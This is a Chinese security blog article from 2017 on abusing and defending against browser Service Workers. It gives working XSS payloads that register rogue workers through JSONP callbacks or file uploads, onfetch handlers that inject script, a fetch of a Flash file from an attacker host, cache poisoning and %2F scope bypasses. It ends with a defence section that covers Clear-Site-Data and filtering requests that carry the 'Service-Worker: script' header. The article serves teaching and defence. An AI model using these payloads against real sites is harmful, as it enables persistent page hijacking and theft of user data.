Twosecurity
首发于Twosecurity
如何利用/防御 Service Worker

如何利用/防御 Service Worker

service worker是一段脚本,与web worker一样,也是在后台运行。作为一个独立的线程,运行环境与普通脚本不同,所以不能直接参与web交互行为。native app可以做到离线使用、消息推送、后台自动更新,service worker的出现是正是为了使得web app也可以具有类似的能力。


在这篇文章中,我将讲解:

攻击:

  1. Service Worker是什么?
  2. 我们如何用SW攻击?
  3. 一些SW的攻击案例。

防护:

  1. 开发者们有什么对策?

对SW进行register(注册)

<script>
navigator.serviceWorker.register("/sw.js")
</script>

注册SW时必须满足以下要求:

  1. 和register操作的页面处于同源
  2. 运行Secure Context
  3. Content-Type的种类应该为javascript,比如以下几种类型
  • text/javascript
  • application/x-javascript
  • application/javascript


Secure Context又是什么?

Secure Context指的是来源必须是安全的(比如HTTPS)或者来自默认的(如:http://localhost )。通过这些限制,我们可以阻止中间人(MITM)攻击。除此之外,我们还要限制某些特权API(比如获得地理位置,Web
USB,摄像头/录音器的API)


曾经的Application Cache

在Service Woeker出现前,人们使用AppCache进行缓存。由于AppCache使用复杂并且不受Secure
Context限制,人们就用SW替换了AppCahce。


有了更严格的限制,攻击者应该如何利用SW呢?通常来讲,我们需要在HTTPS的同源网站中:

  1. 找到XSS,利用XSS注册SW Script
  2. 找到可利用的SW Script位置(而且Content-Type得为javascript,有没有什么简单粗暴的途径帮我们找到属于我们的Service Worker Script呢?)


捷径1——JSONP

有些时候,我们可以指定回调函数为被注册的脚本,以此写入任意代码

example.com/jsonp?

HTTP/1.1
200 OK
Content-Type:
text/javascript; charset=UTF-8
[...]

alert(1)//({});

一个XSS+JSONP的案例:

https://example.com/xss?=<script>navigator.serviceWorker[...]

<script>
navigator.serviceWorker.register("/jsonp?callback=[SW_HERE]//");
</script>


https://example.com/jsonp?q=onfetch=e=>console.log('fetch')//

HTTP/1.1
200 OK
Content-Type:
text/javascript; charset=UTF-8
[...]
onfetch=event=>console.log('fetch')//({});


捷径2——文件上传

当一个服务器允许我们上传JavaScript文件时,它返回该文件的Content-Type也极有可能是JavaScript。


这是一个文件上传XSS+SW register的场景:

<script>
var
formData = new FormData();
formData.append("csrf_token",
"secret");
var
sw = "/* [SW_CODE] */";
var
blob = new Blob([sw], { type: "text/javascript"});
formData.append("file",
blob, "sw.js");
fetch("/upload",
{method: "POST", body: formData}).then(/* Register SW */);
</script>


成功注册脚本之后呢?

  1. 我们对页面更持久的控制(比如存储型XSS)。就算用来注册的XSS失效,我们也依然可以使用SW对页面进行后续控制。
  2. 监听/更改请求或响应
  3. 使用恶意Flash跨域读取内容
  4. 升级反射型XSS变成存储型XSS
  5. 可以一直持续到SW过期


打个比方,无论访问哪个URL,下面的代码都只会返回alert:

onfetch=e=>{
body =
'<script>alert(document.domain)</script>';
init =
{headers:{'content-type':'text/html'}};
e.respondWith(new Response(body,init));
}


Service Worker限制之一:Scope

在使用`navigator.serviceWorker.register()`注册脚本时,我们可以在第二个参数中提供一个Scope(范围)。调用超出该Scope的资源会被视为非法行为。那么怎么定义合法的scope呢?在注册脚本时,我们需要提供一个相对地址,该目录的上一层或同级目录都被视为不可控的Scope,不过开发者可以控制自身及子目录。如果省略该参数,第一个参数下的目录会被成Scope。


例如:

<script>
navigator.serviceWorker.register("/sw.js",
{scope: "/"})
</script>

除此之外,我们只能指定同源的地址:

无效"/assets/js/sw.js",
{scope: "https://other.example.com/"}
无效"/assets/js/sw.js", {scope:
"/assets/"}
无效"/assets/js/sw.js", {scope:
"/assets/css/"}
有效"/assets/js/sw.js", {scope:
"/assets/js/"}
有效"/assets/js/sw.js", {scope:
"/assets/js/sub/"}

如果你开启了 Service-Worker-Awed 头,那么就可以指定同域下开启该header的任意路径。(下面的例子允许我们用/当Scope)

HTTP/1.1
200 OK
content-type:
text/javascript
service-worker-allowed:
/
[...]

在某些情况下(一般来讲,攻击者会被规范禁止),你可以通过编码/来突破上述限制:

https://example.com/api/jsonp
https://example.com/api%2Fjsonp

除了注册时有这种越权风险,我们注册后也有可能通过编码绕过scope限制(同样取决于服务器的设定)。打个比方,我们可以用这两种形式表示同一个页面:

https://example.com/out-of-scope/
https://example.com/foo/..%2Fout-of-scope%2F

如果我们用/foo/来当Service Worker的Scope。当我们访问/foo/..%2Fout-of-scope%2F时,我们就可以越权获得信息。


Service Worker限制之二:生命周期

为了保证安全性,每个Service Worker都有时间限制。在授权24小时后(用PC时钟确定时间),原先的HTTP缓存将被清除。脚本需要被重新注册以正常使用,否则会被摧毁。


XSS+SW+Flash

如果捕捉到Flash响应,我们可以用该响应创建一个有该源权限的恶意Flash(只对firefox有用,chrome会直接下载Flash)

onfetch=e=>{
e.respondWith(fetch("//attacker/poc.swf"))
}

这有什么危害呢?当http://example.com存在如下的crossdomain时:

<?xml
version="1.0"?>
<cross-domain-policy>
<allow-access-from
domain="example.jp" />
</cross-domain-policy>

我们可以在example.jp上创建flash并读取http://example.com内容(某种意义上的SOP绕过)。


Foreign fetch

只要资源被当前源引用,即使是不同源的图像或脚本也可以被service worker篡改


比如在example.jp下有这么一个标签:

<script src="//example.com/socialbutton.js"></script>


由于http://example.com的资源被example.jp调用,example.jp的SW可以直接修改socialbutton.js


我们可以用Foreign Fetch来制造XSS:

self.addEventListener('install',e => {
e.registerForeignFetch({
scopes: ['/'],
origins:
['*']//通配所有的源
});});

onforeignfetch= e => {
e.respondWith(fetch(e.request).then(res =>
({
response:
new Response('alert(1)')//返回弹窗代码
})))}


攻击SW cache(缓存)

注意,HTTP cache不等于SW Cache。只有在被脚本调用时才会返回cache。

onfetch= event => {
event.respondWith(
caches.open("v1").then(function(cache) {
return cache.match(event.request).then(function(response) {
if (response) {
return response;//
} else {
return fetch(event.request.clone()).then(function(response) {
cache.put(event.request,
response.clone());//
return response;
});}})}));
};

攻击这可以用XSS添加请求/响应到cahce中(这个例子添加了posion.html到响应中)

<script>
caches.open("v1").then(function(cache){
content =
"<script>alert(1)</script>";
init = {headers: {"content-type":
"text/html"}};
request = new
Request("poison.html");
response = new Response(content, init);
cache.put(request, response);
})
</script>


比较:基于localStorage的XSS

考虑以下localStorage的误用:

<script>
document.write(localStorage.getItem('name'));
</script>

在Service Worker中,我们不可以直接对DOM进行操作,而且SW也有24小时的生命周期。但是由于SW及其强大的特权,很难说SW cache比localStorage更安全


防御:如何删除Service Worker?


  1. 通过JavaScript
  2. 使用Clear-Site-Data headers
  3. 手动消除(仅使用于Chrome)
  4. chrome://serviceworker-internals(不过Cache Storage不会被删除)
  5. 开发者工具 -> Application -> Clear Storage
  6. chrome://settings/clearBrowserData -> Clear Browser Data


Clear-Site-Data头

这个头可以删除当前源的所有的存储数据(或者指定数据),比如说:Clear-Site-Data:"cookie"可以删除所有cookie。该功能已经在Chrome61得到了支持。


一个清除storage的响应:

HTTP/1.1
200 OK
Content-Type:text/html
Clear-Site-Data:
"storage"

如何阻止他人注册恶意SW

当注册SW时,会发生如下的请求:

GET https://example.com/sw.js HTTP/1.1
Host:example.com
Connection:keep-alive
Pragma:no-cache
Cache-Control:no-cache
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
likeGecko) Chrome/61.0.3163.79 Safari/537.36
Accept:*/*
Service-Worker:script
Referer: https://example.com/
Accept-Encoding:
gzip, deflate, br
Accept-Language:
ja,en;q=0.8,en-US;q=0.6```

我们可以通过拒绝非SW Script却又包含Service-Worker:script头的请求以进行防范


总结

基于Service Worker的XSS可能带来的问题:

  1. XSS持久化
  2. 新型Flash攻击
  3. SW缓存劫持

如何进行防御:

  1. 治病需治根:防范XSS
  2. 拒绝非SW Script(比如jsonp,文件上传功能)对Service-Worker:script的请求
编辑于 2017-11-20

文章被以下专栏收录